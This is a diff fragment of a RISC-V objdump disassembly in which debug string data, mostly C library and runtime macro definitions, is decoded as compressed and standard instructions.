+    9334:	2b65                	jal	98ec <__stack_size+0x90ec>
+    9336:	3934                	fld	fa3,112(a0)
+    9338:	004c3233          	sltu	tp,s8,tp
+    933c:	5750                	lw	a2,44(a4)
+    933e:	5f4d                	li	t5,-13
+    9340:	5f474643          	fmadd.q	fa2,fa4,fs4,fa1,rmm
+    9344:	32504d43          	fmadd.d	fs10,ft0,ft5,ft6,rmm
+    9348:	5049                	c.li	zero,-14
+    934a:	3020                	fld	fs0,96(s0)
+    934c:	3478                	fld	fa4,232(s0)
+    934e:	3030                	fld	fa2,96(s0)
+    9350:	3030                	fld	fa2,96(s0)
+    9352:	3030                	fld	fa2,96(s0)
+    9354:	0030                	addi	a2,sp,8
+    9356:	5f5f 4f43 5950      	0x59504f435f5f
+    935c:	4952                	lw	s2,20(sp)
+    935e:	28544847          	fmsub.s	fa6,fs0,ft5,ft5,rmm
+    9362:	73202973          	csrr	s2,0x732
+    9366:	7274                	flw	fa3,100(a2)
+    9368:	6375                	lui	t1,0x1d
+    936a:	2074                	fld	fa3,192(s0)
+    936c:	5f5f 6168 6b63      	0x6b6361685f5f
+    9372:	5f00                	lw	s0,56(a4)
+    9374:	4552                	lw	a0,20(sp)
+    9376:	4441                	li	s0,16
+    9378:	575f 4952 4554      	0x45544952575f
+    937e:	525f 5445 5255      	0x52555445525f
+    9384:	5f4e                	lw	t5,240(sp)
+    9386:	5954                	lw	a3,52(a0)
+    9388:	4550                	lw	a2,12(a0)
+    938a:	5f20                	lw	s0,120(a4)
+    938c:	7a697373          	csrrci	t1,0x7a6,18
+    9390:	5f65                	li	t5,-7
+    9392:	0074                	addi	a3,sp,12
+    9394:	575f 4449 5f45      	0x5f454449575f
+    939a:	4549524f          	0x4549524f
+    939e:	544e                	lw	s0,240(sp)
+    93a0:	3120                	fld	fs0,96(a0)
+    93a2:	4500                	lw	s0,8(a0)
+    93a4:	4958                	lw	a4,20(a0)
+    93a6:	5f54                	lw	a3,60(a4)
+    93a8:	4146                	lw	sp,80(sp)
+    93aa:	4c49                	li	s8,18
+    93ac:	5255                	li	tp,-11
+    93ae:	2045                	jal	944e <__stack_size+0x8c4e>
+    93b0:	0031                	c.nop	12
+    93b2:	4c4e                	lw	s8,208(sp)
+    93b4:	415f 4752 414d      	0x414d4752415f
+    93ba:	2058                	fld	fa4,128(s0)
+    93bc:	5f003233          	0x5f003233
+    93c0:	4d5f4353          	0x4d5f4353
+    93c4:	4d45                	li	s10,17
+    93c6:	5f59524f          	fnmadd.q	ft4,fs2,fs5,fa1,unknown
+    93ca:	5250                	lw	a2,36(a2)
+    93cc:	4345544f          	fnmadd.d	fs0,fa0,fs4,fs0,unknown
+    93d0:	4954                	lw	a3,20(a0)
+    93d2:	32204e4f          	fnmadd.d	ft8,ft0,ft2,ft6,rmm
+    93d6:	0036                	c.slli	zero,0xd
+    93d8:	46495f53          	0x46495f53
+    93dc:	4e4c                	lw	a1,28(a2)
+    93de:	495f204b          	fnmsub.s	ft0,ft10,fs5,fs1,rdn
+    93e2:	4c46                	lw	s8,80(sp)
+    93e4:	4b4e                	lw	s6,208(sp)
+    93e6:	4700                	lw	s0,8(a4)
+    93e8:	4950                	lw	a2,20(a0)
+    93ea:	45525f4f          	0x45525f4f
+    93ee:	666f2847          	fmsub.q	fa6,ft10,ft6,fa2,rdn
+    93f2:	7366                	flw	ft6,120(sp)
+    93f4:	7465                	lui	s0,0xffff9
+    93f6:	2029                	jal	9400 <__stack_size+0x8c00>
+    93f8:	525f 4745 3233      	0x32334745525f
+    93fe:	4728                	lw	a0,72(a4)
+    9400:	4950                	lw	a2,20(a0)
+    9402:	41425f4f          	fnmadd.s	ft10,ft4,fs4,fs0,unknown
+    9406:	202c4553          	0x202c4553
+    940a:	7366666f          	jal	a2,6fb40 <__stack_size+0x6f340>
+    940e:	7465                	lui	s0,0xffff9
+    9410:	0029                	c.nop	10
+    9412:	5f46                	lw	t5,112(sp)
+    9414:	4c544553          	0x4c544553
+    9418:	0038204b          	fnmsub.s	ft0,fa6,ft3,ft0,rdn
+    941c:	5f5f 6972 6373      	0x637369725f5f
+    9422:	5f76                	lw	t5,124(sp)
+    9424:	6c78                	flw	fa4,92(s0)
+    9426:	6e65                	lui	t3,0x19
+    9428:	3320                	fld	fs0,96(a4)
+    942a:	0032                	c.slli	zero,0xc
+    942c:	535f 5f43 4f4d      	0x4f4d5f43535f
+    9432:	4f4e                	lw	t5,208(sp)
+    9434:	4f54                	lw	a3,28(a4)
+    9436:	494e                	lw	s2,208(sp)
+    9438:	4c435f43          	0x4c435f43
+    943c:	204b434f          	fnmadd.s	ft6,fs6,ft4,ft4,rmm
+    9440:	3936                	fld	fs2,360(sp)
+    9442:	4c00                	lw	s0,24(s0)
+    9444:	5449                	li	s0,-14
+    9446:	4c54                	lw	a3,28(s0)
+    9448:	5f45                	li	t5,-15
+    944a:	4e45                	li	t3,17
+    944c:	4944                	lw	s1,20(a0)
+    944e:	4e41                	li	t3,16
+    9450:	5f20                	lw	s0,120(a4)
+    9452:	494c                	lw	a1,20(a0)
+    9454:	5454                	lw	a3,44(s0)
+    9456:	454c                	lw	a1,12(a0)
+    9458:	455f 444e 4149      	0x4149444e455f
+    945e:	004e                	c.slli	zero,0x13
+    9460:	59535f4f          	fnmadd.s	ft10,ft6,fs5,fa1,unknown
+    9464:	434e                	lw	t1,208(sp)
+    9466:	5f20                	lw	s0,120(a4)
+    9468:	5346                	lw	t1,112(sp)
+    946a:	4e59                	li	t3,22
+    946c:	4f460043          	fmadd.q	ft0,fa2,fs4,fs1,rne
+    9470:	4550                	lw	a2,12(a0)
+    9472:	204e                	fld	ft0,208(sp)
+    9474:	465f 504f 4e45      	0x4e45504f465f
+    947a:	4600                	lw	s0,8(a2)
+    947c:	475f 5445 4b4c      	0x4b4c5445475f
+    9482:	3720                	fld	fs0,104(a4)
+    9484:	5f00                	lw	s0,56(a4)
+    9486:	555f 4e49 3154      	0x31544e49555f
+    948c:	5f36                	lw	t5,108(sp)
+    948e:	414d                	li	sp,19
+    9490:	5f58                	lw	a4,60(a4)
+    9492:	205f 7830 6666      	0x66667830205f
+    9498:	6666                	flw	fa2,88(sp)
+    949a:	5f00                	lw	s0,56(a4)
+    949c:	4a5f4353          	0x4a5f4353
+    94a0:	435f424f          	fnmadd.d	ft4,ft10,fs5,fs0,rmm
+    94a4:	52544e4f          	fnmadd.d	ft8,fs0,ft5,fa0,rmm
+    94a8:	35204c4f          	0x35204c4f
+    94ac:	5f00                	lw	s0,56(a4)
+    94ae:	4552                	lw	a0,20(sp)
+    94b0:	4e45                	li	t3,17
+    94b2:	5f54                	lw	a3,60(a4)
+    94b4:	43454843          	fmadd.d	fa6,fa0,fs4,fs0,rmm
+    94b8:	53415f4b          	fnmsub.d	ft10,ft2,fs4,fa0,unknown
+    94bc:	4d495443          	0x4d495443
+    94c0:	5f45                	li	t5,-15
+    94c2:	5542                	lw	a0,48(sp)
+    94c4:	2846                	fld	fa6,80(sp)
+    94c6:	7470                	flw	fa2,108(s0)
+    94c8:	2972                	fld	fs2,280(sp)
+    94ca:	0020                	addi	s0,sp,8
+    94cc:	4c4c                	lw	a1,28(s0)
+    94ce:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
+    94d2:	414d                	li	sp,19
+    94d4:	2058                	fld	fa4,128(s0)
+    94d6:	5f5f 4f4c 474e      	0x474e4f4c5f5f
+    94dc:	4c5f 4e4f 5f47      	0x5f474e4f4c5f
+    94e2:	414d                	li	sp,19
+    94e4:	5f58                	lw	a4,60(a4)
+    94e6:	005f 5f5f 4244      	0x42445f5f005f
+    94ec:	5f4c                	lw	a1,60(a4)
+    94ee:	414d                	li	sp,19
+    94f0:	5f58                	lw	a4,60(a4)
+    94f2:	205f 2828 6f64      	0x6f642828205f
+    94f8:	6275                	lui	tp,0x1d
+    94fa:	656c                	flw	fa1,76(a0)
+    94fc:	3129                	jal	9106 <__stack_size+0x8906>
+    94fe:	372e                	fld	fa4,232(sp)
+    9500:	3739                	jal	940e <__stack_size+0x8c0e>
+    9502:	3936                	fld	fs2,360(sp)
+    9504:	34333133          	0x34333133
+    9508:	3638                	fld	fa4,104(a2)
+    950a:	3332                	fld	ft6,296(sp)
+    950c:	3531                	jal	9318 <__stack_size+0x8b18>
+    950e:	31383037          	lui	zero,0x31383
+    9512:	3534                	fld	fa3,104(a0)
+    9514:	3732                	fld	fa4,296(sp)
+    9516:	3234                	fld	fa3,96(a2)
+    9518:	31333733          	0x31333733
+    951c:	33343037          	lui	zero,0x33343
+    9520:	3735                	jal	944c <__stack_size+0x8c4c>
+    9522:	2b65                	jal	9ada <__stack_size+0x92da>
+    9524:	4c383033          	0x4c383033
+    9528:	0029                	c.nop	10
+    952a:	4955                	li	s2,21
+    952c:	544e                	lw	s0,240(sp)
+    952e:	3436                	fld	fs0,360(sp)
+    9530:	435f 6328 2029      	0x20296328435f
+    9536:	5f5f 4955 544e      	0x544e49555f5f
+    953c:	3436                	fld	fs0,360(sp)
+    953e:	435f 6328 0029      	0x296328435f
+    9544:	525f 4545 544e      	0x544e4545525f
+    954a:	435f 4548 4b43      	0x4b434548435f
+    9550:	4d5f 2850 7470      	0x747028504d5f
+    9556:	2972                	fld	fs2,280(sp)
+    9558:	0020                	addi	s0,sp,8
+    955a:	535f 5359 5f5f      	0x5f5f5359535f
+    9560:	53474953          	0x53474953
+    9564:	5445                	li	s0,-15
+    9566:	485f 205f 5f00      	0x5f00205f485f
+    956c:	435f 4e4f 4143      	0x41434e4f435f
+    9572:	2854                	fld	fa3,144(s0)
+    9574:	2c78                	fld	fa4,216(s0)
+    9576:	2979                	jal	9a14 <__stack_size+0x9214>
+    9578:	5f20                	lw	s0,120(a4)
+    957a:	435f 4e4f 4143      	0x41434e4f435f
+    9580:	3154                	fld	fa3,160(a0)
+    9582:	7828                	flw	fa0,112(s0)
+    9584:	792c                	flw	fa1,112(a0)
+    9586:	0029                	c.nop	10
+    9588:	5f5f 4c46 3654      	0x36544c465f5f
+    958e:	5f34                	lw	a3,120(a4)
+    9590:	414d                	li	sp,19
+    9592:	5f58                	lw	a4,60(a4)
+    9594:	205f 2e31 3937      	0x39372e31205f
+    959a:	33393637          	lui	a2,0x33393
+    959e:	3331                	jal	92aa <__stack_size+0x8aaa>
+    95a0:	3834                	fld	fa3,112(s0)
+    95a2:	3236                	fld	ft4,360(sp)
+    95a4:	37353133          	0x37353133
+    95a8:	3830                	fld	fa2,112(s0)
+    95aa:	3431                	jal	8fb6 <__stack_size+0x87b6>
+    95ac:	3235                	jal	8ed8 <__stack_size+0x86d8>
+    95ae:	33323437          	lui	s0,0x33323
+    95b2:	37313337          	lui	t1,0x37313
+    95b6:	3430                	fld	fa2,104(s0)
+    95b8:	65373533          	0x65373533
+    95bc:	3830332b          	0x3830332b
+    95c0:	3646                	fld	fa2,112(sp)
+    95c2:	0034                	addi	a3,sp,8
+    95c4:	616d                	addi	sp,sp,240
+    95c6:	6e69                	lui	t3,0x1a
+    95c8:	632e                	flw	ft6,200(sp)
+    95ca:	5f00                	lw	s0,56(a4)
+    95cc:	445f 4c42 485f      	0x485f4c42445f
+    95d2:	5341                	li	t1,-16
+    95d4:	515f 4955 5445      	0x54454955515f
+    95da:	4e5f 4e41 5f5f      	0x5f5f4e414e5f
+    95e0:	3120                	fld	fs0,96(a0)
+    95e2:	5300                	lw	s0,32(a4)
+    95e4:	495f 5653 5854      	0x58545653495f
+    95ea:	3020                	fld	fs0,96(s0)
+    95ec:	3030                	fld	fa2,96(s0)
+    95ee:	3031                	jal	8dfa <__stack_size+0x85fa>
+    95f0:	3030                	fld	fa2,96(s0)
+    95f2:	5f00                	lw	s0,56(a4)
+    95f4:	4f49                	li	t5,18
+    95f6:	424c                	lw	a1,4(a2)
+    95f8:	2046                	fld	ft0,80(sp)
     95fa:	0031                	c.nop	12
-    95fc:	5f5f 7362 6177      	0x617773625f5f
-    9602:	3170                	fld	fa2,224(a0)
-    9604:	2836                	fld	fa6,328(sp)
-    9606:	785f 2029 5f5f      	0x5f5f2029785f
-    960c:	7562                	flw	fa0,56(sp)
-    960e:	6c69                	lui	s8,0x1a
-    9610:	6974                	flw	fa3,84(a0)
-    9612:	5f6e                	lw	t5,248(sp)
-    9614:	7362                	flw	ft6,56(sp)
-    9616:	31706177          	0x31706177
-    961a:	2836                	fld	fa6,328(sp)
-    961c:	785f 0029 4957      	0x49570029785f
-    9622:	544e                	lw	s0,240(sp)
-    9624:	4d5f 5841 5f00      	0x5f0058414d5f
-    962a:	4446                	lw	s0,80(sp)
-    962c:	5249                	li	tp,-14
-    962e:	4345                	li	t1,17
-    9630:	2054                	fld	fa3,128(s0)
-    9632:	7830                	flw	fa2,112(s0)
-    9634:	3038                	fld	fa4,96(s0)
-    9636:	3030                	fld	fa2,96(s0)
-    9638:	0030                	addi	a2,sp,8
-    963a:	41484353          	0x41484353
-    963e:	5f52                	lw	t5,52(sp)
-    9640:	494d                	li	s2,19
-    9642:	204e                	fld	ft0,208(sp)
-    9644:	2d28                	fld	fa0,88(a0)
-    9646:	41484353          	0x41484353
-    964a:	5f52                	lw	t5,52(sp)
-    964c:	414d                	li	sp,19
-    964e:	2058                	fld	fa4,128(s0)
-    9650:	202d                	jal	967a <__stack_size+0x8e7a>
-    9652:	2931                	jal	9a6e <__stack_size+0x926e>
-    9654:	5f00                	lw	s0,56(a4)
-    9656:	445f 4345 455f      	0x455f4345445f
-    965c:	4156                	lw	sp,84(sp)
-    965e:	5f4c                	lw	a1,60(a4)
-    9660:	454d                	li	a0,19
-    9662:	4854                	lw	a3,20(s0)
-    9664:	5f5f444f          	fnmadd.q	fs0,ft10,fs5,fa1,rmm
-    9668:	3220                	fld	fs0,96(a2)
-    966a:	5500                	lw	s0,40(a0)
-    966c:	54524853          	0x54524853
-    9670:	4d5f 5841 4f00      	0x4f0058414d5f
-    9676:	455f 4558 2043      	0x20434558455f
-    967c:	465f 5845 4345      	0x43455845465f
-    9682:	48435253          	0x48435253
-    9686:	5f00                	lw	s0,56(a4)
-    9688:	4c5f 4244 5f4c      	0x5f4c42444c5f
-    968e:	4148                	lw	a0,4(a0)
-    9690:	4e495f53          	0x4e495f53
-    9694:	4946                	lw	s2,80(sp)
-    9696:	494e                	lw	s2,208(sp)
-    9698:	5954                	lw	a3,52(a0)
-    969a:	5f5f 3120 5400      	0x540031205f5f
-    96a0:	4d49                	li	s10,18
-    96a2:	5345                	li	t1,-15
-    96a4:	4550                	lw	a2,12(a0)
-    96a6:	4f545f43          	fmadd.q	ft10,fs0,fs5,fs1,unknown
-    96aa:	545f 4d49 5645      	0x56454d49545f
-    96b0:	4c41                	li	s8,16
-    96b2:	7428                	flw	fa0,104(s0)
-    96b4:	2c76                	fld	fs8,344(sp)
-    96b6:	7374                	flw	fa3,100(a4)
-    96b8:	2029                	jal	96c2 <__stack_size+0x8ec2>
-    96ba:	6f64                	flw	fs1,92(a4)
-    96bc:	7b20                	flw	fs0,112(a4)
-    96be:	2820                	fld	fs0,80(s0)
-    96c0:	7674                	flw	fa3,108(a2)
-    96c2:	2d29                	jal	9cdc <__stack_size+0x94dc>
-    96c4:	743e                	flw	fs0,236(sp)
-    96c6:	5f76                	lw	t5,124(sp)
-    96c8:	20636573          	csrrsi	a0,0x206,6
-    96cc:	203d                	jal	96fa <__stack_size+0x8efa>
-    96ce:	7428                	flw	fa0,104(s0)
-    96d0:	3e2d2973          	csrrs	s2,0x3e2,s10
-    96d4:	7674                	flw	fa3,108(a2)
-    96d6:	735f 6365 203b      	0x203b6365735f
-    96dc:	7428                	flw	fa0,104(s0)
-    96de:	2976                	fld	fs2,344(sp)
-    96e0:	3e2d                	jal	921a <__stack_size+0x8a1a>
-    96e2:	7674                	flw	fa3,108(a2)
-    96e4:	755f 6573 2063      	0x20636573755f
-    96ea:	203d                	jal	9718 <__stack_size+0x8f18>
-    96ec:	7428                	flw	fa0,104(s0)
-    96ee:	3e2d2973          	csrrs	s2,0x3e2,s10
-    96f2:	7674                	flw	fa3,108(a2)
-    96f4:	6e5f 6573 2063      	0x206365736e5f
-    96fa:	3031202f          	0x3031202f
-    96fe:	3030                	fld	fa2,96(s0)
-    9700:	207d203b          	0x207d203b
-    9704:	6c696877          	0x6c696877
-    9708:	2065                	jal	97b0 <__stack_size+0x8fb0>
-    970a:	3028                	fld	fa0,96(s0)
-    970c:	0029                	c.nop	10
-    970e:	505f 5f43 414d      	0x414d5f43505f
-    9714:	5f58                	lw	a4,60(a4)
-    9716:	4f4e4143          	fmadd.q	ft2,ft8,fs4,fs1,rmm
-    971a:	204e                	fld	ft0,208(sp)
-    971c:	0031                	c.nop	12
-    971e:	465f 4553 4b45      	0x4b454553465f
-    9724:	4f5f 5450 4d49      	0x4d4954504f5f
-    972a:	5a49                	li	s4,-14
-    972c:	5441                	li	s0,-16
-    972e:	4f49                	li	t5,18
-    9730:	204e                	fld	ft0,208(sp)
-    9732:	0031                	c.nop	12
-    9734:	495f 464f 4642      	0x4642464f495f
-    973a:	3020                	fld	fs0,96(s0)
-    973c:	5f00                	lw	s0,56(a4)
-    973e:	4954                	lw	a3,20(a0)
-    9740:	454d                	li	a0,19
-    9742:	545f 205f 5f5f      	0x5f5f205f545f
-    9748:	6e69                	lui	t3,0x1a
-    974a:	5f74                	lw	a3,124(a4)
-    974c:	656c                	flw	fa1,76(a0)
-    974e:	7361                	lui	t1,0xffff8
-    9750:	3674                	fld	fa3,232(a2)
-    9752:	5f34                	lw	a3,120(a4)
-    9754:	0074                	addi	a3,sp,12
-    9756:	5f5f 4c46 5f54      	0x5f544c465f5f
-    975c:	4f4e                	lw	t5,208(sp)
-    975e:	4d52                	lw	s10,20(sp)
-    9760:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    9766:	3320                	fld	fs0,96(a4)
-    9768:	342e                	fld	fs0,232(sp)
-    976a:	3230                	fld	fa2,96(a2)
-    976c:	3238                	fld	fa4,96(a2)
-    976e:	36363433          	0x36363433
-    9772:	32353833          	0x32353833
-    9776:	3838                	fld	fa4,112(s0)
-    9778:	3935                	jal	93b4 <__stack_size+0x8bb4>
-    977a:	3138                	fld	fa4,96(a0)
-    977c:	3731                	jal	9688 <__stack_size+0x8e88>
-    977e:	3430                	fld	fa2,104(s0)
-    9780:	3831                	jal	8f9c <__stack_size+0x879c>
-    9782:	34383433          	0x34383433
-    9786:	3135                	jal	93b2 <__stack_size+0x8bb2>
-    9788:	3936                	fld	fs2,360(sp)
-    978a:	3532                	fld	fa0,296(sp)
-    978c:	2b65                	jal	9d44 <__stack_size+0x9544>
-    978e:	00463833          	sltu	a6,a2,tp
-    9792:	535f 5359 555f      	0x555f5359535f
-    9798:	494e                	lw	s2,208(sp)
-    979a:	5f445453          	0x5f445453
-    979e:	2048                	fld	fa0,128(s0)
-    97a0:	5f00                	lw	s0,56(a4)
-    97a2:	6e5f 6565 5f64      	0x5f6465656e5f
-    97a8:	5f5f 6176 6c5f      	0x6c5f61765f5f
-    97ae:	7369                	lui	t1,0xffffa
-    97b0:	2074                	fld	fa3,192(s0)
-    97b2:	5f00                	lw	s0,56(a4)
-    97b4:	415f4353          	0x415f4353
-    97b8:	4554                	lw	a3,12(a0)
-    97ba:	4958                	lw	a4,20(a0)
-    97bc:	5f54                	lw	a3,60(a4)
-    97be:	414d                	li	sp,19
-    97c0:	2058                	fld	fa4,128(s0)
-    97c2:	3535                	jal	95ee <__stack_size+0x8dee>
-    97c4:	5f00                	lw	s0,56(a4)
-    97c6:	535f 4c4e 204b      	0x204b4c4e535f
-    97cc:	7830                	flw	fa2,112(s0)
-    97ce:	3030                	fld	fa2,96(s0)
-    97d0:	3130                	fld	fa2,96(a0)
-    97d2:	5f00                	lw	s0,56(a4)
-    97d4:	535f 5a49 4f45      	0x4f455a49535f
-    97da:	5f46                	lw	t5,112(sp)
-    97dc:	4f4c                	lw	a1,28(a4)
-    97de:	474e                	lw	a4,208(sp)
-    97e0:	445f 554f 4c42      	0x4c42554f445f
-    97e6:	5f45                	li	t5,-15
-    97e8:	205f 3631 5f00      	0x5f003631205f
-    97ee:	4546                	lw	a0,80(sp)
-    97f0:	4c58                	lw	a4,28(s0)
-    97f2:	204b434f          	fnmadd.s	ft6,fs6,ft4,ft4,rmm
-    97f6:	7830                	flw	fa2,112(s0)
-    97f8:	3130                	fld	fa2,96(a0)
-    97fa:	3030                	fld	fa2,96(s0)
-    97fc:	5f00                	lw	s0,56(a4)
-    97fe:	325f4353          	0x325f4353
-    9802:	505f 5342 3120      	0x31205342505f
-    9808:	3331                	jal	9514 <__stack_size+0x8d14>
-    980a:	5f00                	lw	s0,56(a4)
-    980c:	4350                	lw	a2,4(a4)
-    980e:	4e5f 4d41 5f45      	0x5f454d414e5f
-    9814:	414d                	li	sp,19
-    9816:	2058                	fld	fa4,128(s0)
-    9818:	5a4d0033          	0x5a4d0033
-    981c:	5f454e4f          	fnmadd.q	ft8,fa0,fs4,fa1,rmm
-    9820:	4452                	lw	s0,20(sp)
-    9822:	4954                	lw	a3,20(a0)
-    9824:	454d                	li	a0,19
-    9826:	28504d43          	fmadd.s	fs10,ft0,ft5,ft5,rmm
-    982a:	2029                	jal	9834 <__stack_size+0x9034>
-    982c:	7b28                	flw	fa0,112(a4)
-    982e:	7220                	flw	fs0,96(a2)
-    9830:	6765                	lui	a4,0x19
-    9832:	7369                	lui	t1,0xffffa
-    9834:	6574                	flw	fa3,76(a0)
-    9836:	2072                	fld	ft0,280(sp)
-    9838:	6975                	lui	s2,0x1d
-    983a:	746e                	flw	fs0,248(sp)
-    983c:	745f3233          	0x745f3233
-    9840:	6120                	flw	fs0,64(a0)
-    9842:	2030                	fld	fa2,64(s0)
-    9844:	7361                	lui	t1,0xffff8
-    9846:	206d                	jal	98f0 <__stack_size+0x90f0>
-    9848:	2228                	fld	fa0,64(a2)
-    984a:	3061                	jal	90d2 <__stack_size+0x88d2>
-    984c:	2922                	fld	fs2,8(sp)
-    984e:	202c                	fld	fa1,64(s0)
-    9850:	3161                	jal	94d8 <__stack_size+0x8cd8>
-    9852:	6120                	flw	fs0,64(a0)
-    9854:	28206d73          	csrrsi	s10,0x282,0
-    9858:	6122                	flw	ft2,8(sp)
-    985a:	2231                	jal	9966 <__stack_size+0x9166>
-    985c:	3b29                	jal	9576 <__stack_size+0x8d76>
-    985e:	6120                	flw	fs0,64(a0)
-    9860:	76206d73          	csrrsi	s10,0x762,0
-    9864:	74616c6f          	jal	s8,1ffaa <__stack_size+0x1f7aa>
-    9868:	6c69                	lui	s8,0x1a
-    986a:	2065                	jal	9912 <__stack_size+0x9112>
-    986c:	2228                	fld	fa0,64(a2)
-    986e:	696c                	flw	fa1,84(a0)
-    9870:	6120                	flw	fs0,64(a0)
-    9872:	2c30                	fld	fa2,88(s0)
-    9874:	3520                	fld	fs0,104(a0)
-    9876:	6d20223b          	0x6d20223b
-    987a:	6f7a                	flw	ft10,156(sp)
-    987c:	656e                	flw	fa0,216(sp)
-    987e:	3a20                	fld	fs0,112(a2)
-    9880:	2220                	fld	fs0,64(a2)
-    9882:	723d                	lui	tp,0xfffef
-    9884:	2822                	fld	fa6,8(sp)
-    9886:	3061                	jal	910e <__stack_size+0x890e>
-    9888:	2c29                	jal	9aa2 <__stack_size+0x92a2>
-    988a:	2220                	fld	fs0,64(a2)
-    988c:	723d                	lui	tp,0xfffef
-    988e:	2822                	fld	fa6,8(sp)
-    9890:	3161                	jal	9518 <__stack_size+0x8d18>
-    9892:	2929                	jal	9cac <__stack_size+0x94ac>
-    9894:	7528203b          	0x7528203b
-    9898:	6e69                	lui	t3,0x1a
-    989a:	3674                	fld	fa3,232(a2)
-    989c:	5f34                	lw	a3,120(a4)
-    989e:	2974                	fld	fa3,208(a0)
-    98a0:	3161                	jal	9528 <__stack_size+0x8d28>
-    98a2:	3c3c                	fld	fa5,120(s0)
-    98a4:	7c203233          	0x7c203233
-    98a8:	6120                	flw	fs0,64(a0)
-    98aa:	3b30                	fld	fa2,112(a4)
-    98ac:	7d20                	flw	fs0,120(a0)
-    98ae:	0029                	c.nop	10
-    98b0:	5f5f 4c46 3154      	0x31544c465f5f
-    98b6:	3832                	fld	fa6,296(sp)
-    98b8:	445f 4345 4d49      	0x4d494345445f
-    98be:	4c41                	li	s8,16
-    98c0:	445f 4749 5f5f      	0x5f5f4749445f
-    98c6:	3320                	fld	fs0,96(a4)
-    98c8:	0036                	c.slli	zero,0xd
-    98ca:	5f5f 4c46 5f54      	0x5f544c465f5f
-    98d0:	4148                	lw	a0,4(a0)
-    98d2:	45445f53          	0x45445f53
-    98d6:	4f4e                	lw	t5,208(sp)
-    98d8:	4d52                	lw	s10,20(sp)
-    98da:	5f5f 3120 5f00      	0x5f0031205f5f
-    98e0:	475f 554e 4c43      	0x4c43554e475f
-    98e6:	4b49                	li	s6,18
-    98e8:	5f45                	li	t5,-15
-    98ea:	414d                	li	sp,19
-    98ec:	4854                	lw	a3,20(s0)
-    98ee:	425f 4955 544c      	0x544c4955425f
-    98f4:	4e49                	li	t3,18
-    98f6:	435f 4e4f 5453      	0x54534e4f435f
-    98fc:	4e41                	li	t3,16
-    98fe:	5354                	lw	a3,36(a4)
-    9900:	0020                	addi	s0,sp,8
-    9902:	4955                	li	s2,21
-    9904:	544e                	lw	s0,240(sp)
-    9906:	4c5f 4145 5453      	0x545341454c5f
-    990c:	5f38                	lw	a4,120(a4)
-    990e:	414d                	li	sp,19
-    9910:	0058                	addi	a4,sp,4
-    9912:	535f 5f43 5241      	0x52415f43535f
-    9918:	414d5f47          	fmsub.s	ft10,fs10,fs4,fs0,unknown
-    991c:	2058                	fld	fa4,128(s0)
-    991e:	0030                	addi	a2,sp,8
-    9920:	4e494c43          	fmadd.q	fs8,fs2,ft4,fs1,rmm
-    9924:	5f54                	lw	a3,60(a4)
-    9926:	534d                	li	t1,-13
-    9928:	5049                	c.li	zero,-14
-    992a:	3020                	fld	fs0,96(s0)
-    992c:	3078                	fld	fa4,224(s0)
-    992e:	3030                	fld	fa2,96(s0)
-    9930:	0030                	addi	a2,sp,8
-    9932:	61656c63          	bltu	a0,s6,9f4a <__stack_size+0x974a>
-    9936:	6572                	flw	fa0,28(sp)
-    9938:	7272                	flw	ft4,60(sp)
-    993a:	7028                	flw	fa0,96(s0)
-    993c:	2029                	jal	9946 <__stack_size+0x9146>
-    993e:	5f5f 6373 656c      	0x656c63735f5f
-    9944:	7261                	lui	tp,0xffff8
-    9946:	7265                	lui	tp,0xffff9
-    9948:	2872                	fld	fa6,280(sp)
-    994a:	2970                	fld	fa2,208(a0)
-    994c:	7300                	flw	fs0,32(a4)
-    994e:	7274                	flw	fa3,100(a2)
-    9950:	6f74                	flw	fa3,92(a4)
-    9952:	6c75                	lui	s8,0x1d
-    9954:	006c                	addi	a1,sp,12
-    9956:	475f 4343 4d5f      	0x4d5f4343475f
-    995c:	5841                	li	a6,-16
-    995e:	415f 494c 4e47      	0x4e47494c415f
-    9964:	545f 0020 5f5f      	0x5f5f0020545f
-    996a:	4c46                	lw	s8,80(sp)
-    996c:	3654                	fld	fa3,168(a2)
-    996e:	5f34                	lw	a3,120(a4)
-    9970:	4148                	lw	a0,4(a0)
-    9972:	45445f53          	0x45445f53
-    9976:	4f4e                	lw	t5,208(sp)
-    9978:	4d52                	lw	s10,20(sp)
-    997a:	5f5f 3120 4900      	0x490031205f5f
-    9980:	544e                	lw	s0,240(sp)
-    9982:	465f 5341 3854      	0x38545341465f
-    9988:	4d5f 4e49 2820      	0x28204e494d5f
-    998e:	492d                	li	s2,11
-    9990:	544e                	lw	s0,240(sp)
-    9992:	465f 5341 3854      	0x38545341465f
-    9998:	4d5f 5841 2d20      	0x2d2058414d5f
-    999e:	3120                	fld	fs0,96(a0)
-    99a0:	0029                	c.nop	10
-    99a2:	4e49                	li	t3,18
-    99a4:	3854                	fld	fa3,176(s0)
-    99a6:	4d5f 4e49 5300      	0x53004e494d5f
-    99ac:	495f 5246 4745      	0x47455246495f
-    99b2:	5f20                	lw	s0,120(a4)
-    99b4:	4649                	li	a2,18
-    99b6:	4552                	lw	a0,20(sp)
-    99b8:	535f0047          	fmsub.d	ft0,ft10,fs5,fa0,rne
-    99bc:	5f325f43          	fmadd.q	ft10,ft4,fs3,fa1,unknown
-    99c0:	4250                	lw	a2,4(a2)
-    99c2:	454d5f53          	0x454d5f53
-    99c6:	47415353          	0x47415353
-    99ca:	2045                	jal	9a6a <__stack_size+0x926a>
-    99cc:	3131                	jal	95d8 <__stack_size+0x8dd8>
-    99ce:	5f5f0037          	lui	zero,0x5f5f0
-    99d2:	455a4953          	0x455a4953
-    99d6:	465f464f          	fnmadd.q	fa2,ft10,ft5,fs0,rmm
-    99da:	4f4c                	lw	a1,28(a4)
-    99dc:	5441                	li	s0,-16
-    99de:	5f5f 3420 6d00      	0x6d0034205f5f
-    99e4:	6961                	lui	s2,0x18
-    99e6:	006e                	c.slli	zero,0x1b
-    99e8:	5f5f 4953 455a      	0x455a49535f5f
-    99ee:	545f 5f5f 0020      	0x205f5f545f
-    99f4:	5f5f 4953 455a      	0x455a49535f5f
-    99fa:	545f 5059 5f45      	0x5f455059545f
-    9a00:	205f 6e75 6973      	0x69736e75205f
-    9a06:	64656e67          	0x64656e67
-    9a0a:	6920                	flw	fs0,80(a0)
-    9a0c:	746e                	flw	fs0,248(sp)
-    9a0e:	5300                	lw	s0,32(a4)
-    9a10:	495f 5257 5449      	0x54495257495f
-    9a16:	2045                	jal	9ab6 <__stack_size+0x92b6>
-    9a18:	3030                	fld	fa2,96(s0)
-    9a1a:	3030                	fld	fa2,96(s0)
-    9a1c:	3032                	fld	ft0,296(sp)
-    9a1e:	0030                	addi	a2,sp,8
